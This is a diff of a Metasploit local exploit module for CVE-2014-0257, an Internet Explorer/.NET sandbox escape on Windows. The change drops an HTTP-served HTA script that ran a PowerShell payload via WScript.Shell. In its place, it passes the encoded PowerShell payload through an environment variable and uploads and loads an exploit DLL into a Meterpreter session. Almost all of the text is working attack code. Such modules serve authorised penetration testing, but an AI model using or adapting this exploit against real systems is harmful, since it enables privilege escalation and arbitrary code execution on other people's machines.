@@ -13,7 +13,6 @@ class Metasploit3 < Msf::Exploit::Local
13
13
14
14
include Msf ::Exploit ::Powershell
15
15
include Msf ::Exploit ::EXE
16
- include Msf ::Exploit ::Remote ::HttpServer
17
16
include Msf ::Post ::Windows ::Priv
18
17
include Msf ::Post ::Windows ::FileInfo
19
18
include Msf ::Post ::File
@@ -47,12 +46,15 @@ def initialize(info={})
47
46
] ,
48
47
'Platform' => [ 'win' ] ,
49
48
'SessionTypes' => [ 'meterpreter' ] ,
50
- 'Stance' => Msf ::Exploit ::Stance ::Aggressive ,
51
49
'Targets' =>
52
50
[
53
51
[ 'IE 8 - 11' , { } ]
54
52
] ,
55
53
'DefaultTarget' => 0 ,
54
+ 'DefaultOptions' =>
55
+ {
56
+ 'WfsDelay' => 30
57
+ } ,
56
58
'DisclosureDate' => "Feb 11 2014" ,
57
59
'References' =>
58
60
[
@@ -153,12 +155,22 @@ def exploit
153
155
154
156
print_good ( ".NET looks vulnerable, exploiting..." )
155
157
156
- begin
157
- Timeout . timeout ( datastore [ 'DELAY' ] ) { super }
158
- rescue Timeout ::Error
159
- end
158
+ cmd = cmd_psh_payload ( payload . encoded ) . gsub ( '%COMSPEC% /B /C start powershell.exe ' , '' ) . strip
159
+ session . railgun . kernel32 . SetEnvironmentVariableA ( "PSHCMD" , cmd )
160
+
161
+ temp = get_env ( 'TEMP' )
162
+
163
+ print_status ( "Loading Exploit Library..." )
160
164
161
- session . railgun . kernel32 . SetEnvironmentVariableA ( "MYURL" , nil )
165
+ session . core . load_library (
166
+ 'LibraryFilePath' => ::File . join ( Msf ::Config . data_directory , "exploits" , "CVE-2014-0257" , "CVE-2014-0257.dll" ) ,
167
+ 'TargetFilePath' => temp + "\\ CVE-2014-0257.dll" ,
168
+ 'UploadLibrary' => true ,
169
+ 'Extension' => false ,
170
+ 'SaveToDisk' => false
171
+ )
172
+
173
+ session . railgun . kernel32 . SetEnvironmentVariableA ( "PSHCMD" , nil )
162
174
end
163
175
164
176
def valid_mscorlib_version? ( net_version , mscorlib_version )
@@ -183,38 +195,5 @@ def valid_mscorlib_version?(net_version, mscorlib_version)
183
195
valid
184
196
end
185
197
186
- def primer
187
- exploit_uri = "#{ get_uri } /#{ rand_text_alpha ( 4 + rand ( 4 ) ) } .hta"
188
- session . railgun . kernel32 . SetEnvironmentVariableA ( "MYURL" , exploit_uri )
189
-
190
- temp = get_env ( 'TEMP' )
191
-
192
- print_status ( "Loading Exploit Library..." )
193
-
194
- session . core . load_library (
195
- 'LibraryFilePath' => ::File . join ( Msf ::Config . data_directory , "exploits" , "CVE-2014-0257" , "CVE-2014-0257.dll" ) ,
196
- 'TargetFilePath' => temp + "\\ CVE-2014-0257.dll" ,
197
- 'UploadLibrary' => true ,
198
- 'Extension' => false ,
199
- 'SaveToDisk' => false
200
- )
201
- end
202
-
203
- def on_request_uri ( cli , request )
204
- if request . uri =~ /\. hta$/
205
- print_status ( "Sending hta..." )
206
- hta = <<-eos
207
- <script>
208
- var command = "#{ cmd_psh_payload ( payload . encoded ) . strip } ";
209
- var shell = new ActiveXObject("WScript.Shell");
210
- shell.Run(command);
211
- </script>
212
- eos
213
- send_response ( cli , hta , { 'Content-Type' => 'application/hta' } )
214
- else
215
- send_not_found ( cli )
216
- end
217
- end
218
-
219
198
end
220
199
0 commit comments